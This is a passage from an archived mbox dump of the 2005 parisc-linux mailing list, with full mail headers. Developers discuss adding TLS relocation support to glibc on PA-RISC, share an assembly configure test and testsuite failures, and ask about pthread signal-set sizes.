X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22568

On Tue, Apr 05, 2005 at 09:26:43AM -0700, Randolph Chung wrote:
> > Is DTPMOD32 and DTPOFF32 all I need to add to glibc for some initial TLS
> > testing?
> 
> Well, plus the setting up of the THREAD_DTV() stuff.

Oh, and TPREL32.
 
> > Recommended tests to make sure this is working?
> 
> I haven't really looked, but glibc has a bunch of TLS tests. It'll also
> pretty easy to write our own test cases. 

I can't turn that machinery on yet. I have to test with TLS off but
handling the relocations first to see if it works :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 15:16:12 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <20050405191612.GQ1833@baldric.uwo.ca>
References: <20050405161549.GM1833@baldric.uwo.ca>
	<20050405162643.GB6987@tausq.org>
	<20050405163400.GN1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623738 13673 80.91.229.3 (22 Nov 2014 02:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 19:16:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 05 Apr 2005 21:16:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1E987D667;
	Tue,  5 Apr 2005 13:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25911-06; Tue, 5 Apr 2005 13:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1067F7D675;
	Tue,  5 Apr 2005 13:16:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB8D47D661
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 13:16:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25911-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 13:16:19 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 593DD7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 13:16:19 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DItX3-0003nP-00; Tue, 05 Apr 2005 15:16:13 -0400
Content-Disposition: inline
In-Reply-To: <20050405163400.GN1833@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WYEgYrt3eSE5+76WZHQhaXN2IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22569

On Tue, Apr 05, 2005 at 12:34:01PM -0400, Carlos O'Donell wrote:
> I can't turn that machinery on yet. I have to test with TLS off but
> handling the relocations first to see if it works :)

To hell with it, I'm turing it all one just to see what I need.
One thing, I'm writing some configure.in asm to test gas and such.
What do you think of this as a test:

gcc -c only.

----
; Setup tls data
.section ".tdata","awT",@progbits
foo:	.data	32 
	.text
; Test general dyanmic relocations
test0:
	addil 	LT'foo-$tls_gdidx$, %r19	
	ldo 	RT'foo-$tls_gdidx$(%r1), %r26
	b 	__tls_get_addr
	nop
; Test local dynamic relocations
test1:
	addil 	LT'foo-$tls_ldidx$, %r19
	b 	__tls_get_addr
	ldo 	RT'foo-$tls_ldidx$(%r1), %r26
	ldo 	RR'foo-$tls_dtpoff$(%r1), %r25
	; More variables can be loaded...
; Test initial exec reloctiosn
test2:
	mfctl 	%cr27, %r26
	addil 	LT'foo-$tls_ieoff$, %r19
	ldw 	RT'foo-$tls_ieoff$(%r1), %r25
	add 	%r26, %r25, %r24
; Test local exec relocations
test3:
	mfctl 	%cr27, %r26
	addil 	LR'foo-$tls_leoff$, %r26 
	ldo 	RR'foo-$tls_leoff$(%r1), %r25
; Done all the TLS tests.
---

If it can compile this then it's cool. Normal gcc/binutils chokes but
the tls-toolchain works just fine :)

Please update your documentation, the symbols used for relocation don't
match (e.g. $tls_dtlndx$ is really $tls_gdix$)?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 15:39:59 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050405193958.GR1833@baldric.uwo.ca>
References: <20050405161549.GM1833@baldric.uwo.ca>
	<20050405162643.GB6987@tausq.org>
	<20050405163400.GN1833@baldric.uwo.ca>
	<20050405191612.GQ1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623739 13677 80.91.229.3 (22 Nov 2014 02:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 19:40:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 05 Apr 2005 21:40:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39F497D681;
	Tue,  5 Apr 2005 13:40:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26124-06; Tue, 5 Apr 2005 13:40:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 823FC7D676;
	Tue,  5 Apr 2005 13:40:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4BBC7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 13:40:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25911-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 13:40:02 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 1E3447D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 13:40:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DItu3-0003w3-00; Tue, 05 Apr 2005 15:39:59 -0400
Content-Disposition: inline
In-Reply-To: <20050405191612.GQ1833@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zYwgYhUteSE5+76WZHQhaXN2IGRvbwC7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22570

On Tue, Apr 05, 2005 at 03:16:12PM -0400, Carlos O'Donell wrote:
> On Tue, Apr 05, 2005 at 12:34:01PM -0400, Carlos O'Donell wrote:
> > I can't turn that machinery on yet. I have to test with TLS off but
> > handling the relocations first to see if it works :)
> 
> To hell with it, I'm turing it all one just to see what I need.
> One thing, I'm writing some configure.in asm to test gas and such.
> What do you think of this as a test:
> 
> gcc -c only.

This turns on HAVE_TLS_SUPPORT in glibc btw.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 16:44:57 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20050405204456.GS1833@baldric.uwo.ca>
References: <20050405161549.GM1833@baldric.uwo.ca>
	<20050405162643.GB6987@tausq.org>
	<20050405163400.GN1833@baldric.uwo.ca>
	<20050405191612.GQ1833@baldric.uwo.ca>
	<20050405193958.GR1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623739 13678 80.91.229.3 (22 Nov 2014 02:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 20:45:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 05 Apr 2005 22:45:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60BE47D686;
	Tue,  5 Apr 2005 14:45:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26260-07; Tue, 5 Apr 2005 14:45:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4711F7D67C;
	Tue,  5 Apr 2005 14:45:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEC567D676
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 14:45:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26124-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 14:45:05 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 522407D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 14:45:05 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIuuv-0004Hi-00; Tue, 05 Apr 2005 16:44:57 -0400
Content-Disposition: inline
In-Reply-To: <20050405193958.GR1833@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v50gYokBeSE5+76WZHQhaXN2IGRvb4CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22571

On Tue, Apr 05, 2005 at 03:39:59PM -0400, Carlos O'Donell wrote:
> On Tue, Apr 05, 2005 at 03:16:12PM -0400, Carlos O'Donell wrote:
> > On Tue, Apr 05, 2005 at 12:34:01PM -0400, Carlos O'Donell wrote:
> > > I can't turn that machinery on yet. I have to test with TLS off but
> > > handling the relocations first to see if it works :)
> > 
> > To hell with it, I'm turing it all one just to see what I need.
> > One thing, I'm writing some configure.in asm to test gas and such.
> > What do you think of this as a test:
> > 
> > gcc -c only.
> 
> This turns on HAVE_TLS_SUPPORT in glibc btw.

glibc with TLS is sorta building, still running into some build problems
here and there.

glibc without TLS is down to the following tessuite failures:

make[2]: *** [/math/test-float.out] Error 1
make[2]: *** [/math/test-double.out] Error 1
make[2]: *** [/math/test-ifloat.out] Error 1
make[2]: *** [/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/stdlib/tst-strtod.out] Error 1
make[2]: *** [/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/elf/tst-audit1.out] Error 139
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

The only regression is 'tst-audit1' which is because I haven't finished
the auditing support, but the non-audit code works.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Tue, 5 Apr 2005 21:21:17 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200504060121.j361LISD002640@hiauly1.hia.nrc.ca>
References: <20050404005038.GH8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623739 13683 80.91.229.3 (22 Nov 2014 02:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 01:21:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 06 Apr 2005 03:21:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9C647D67E;
	Tue,  5 Apr 2005 19:21:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26544-08; Tue, 5 Apr 2005 19:21:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 673207D681;
	Tue,  5 Apr 2005 19:21:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1C2B7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 19:21:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26881-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 19:21:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 400A57D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 19:21:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j361LIhF002641; Tue, 5 Apr 2005 21:21:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j361LISD002640;
	Tue, 5 Apr 2005 21:21:18 -0400 (EDT)
In-Reply-To: <20050404005038.GH8921@tausq.org> from "Randolph Chung" at Apr 3,
	2005 05:50:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zlwhYp8PeSE5+76WZHQhaXN2IGRvbwCB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22572

> > What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
> > and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
> > Are these signals 37, 38 and 39?
> 
> yes, we use the same signals. 

It looks as if we have 36 signals which may need to be blocked.  However,
_SIGSET_NWORDS is 32.  Is this a problem?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 00:59:54 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050406045954.GU1833@baldric.uwo.ca>
References: <20050404005038.GH8921@tausq.org>
	<200504060121.j361LISD002640@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623740 13684 80.91.229.3 (22 Nov 2014 02:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 05:00:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 06 Apr 2005 07:00:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFEC97D67C;
	Tue,  5 Apr 2005 23:00:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27346-07; Tue, 5 Apr 2005 23:00:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 570427D67E;
	Tue,  5 Apr 2005 23:00:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B27107D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 23:00:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26881-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 23:00:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 405E37D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 23:00:03 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJ2du-0006Wr-00; Wed, 06 Apr 2005 00:59:54 -0400
Content-Disposition: inline
In-Reply-To: <200504060121.j361LISD002640@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sAkhYtULeSE5+76WZHQhaXN2IGRvbwCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22573

On Tue, Apr 05, 2005 at 09:21:17PM -0400, John David Anglin wrote:
> > > What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
> > > and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
> > > Are these signals 37, 38 and 39?
> > 
> > yes, we use the same signals. 
> 
> It looks as if we have 36 signals which may need to be blocked.  However,
> _SIGSET_NWORDS is 32.  Is this a problem?

I don't quite understand what you mean by this? Can you show me the code
that defines this and where the error might be?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
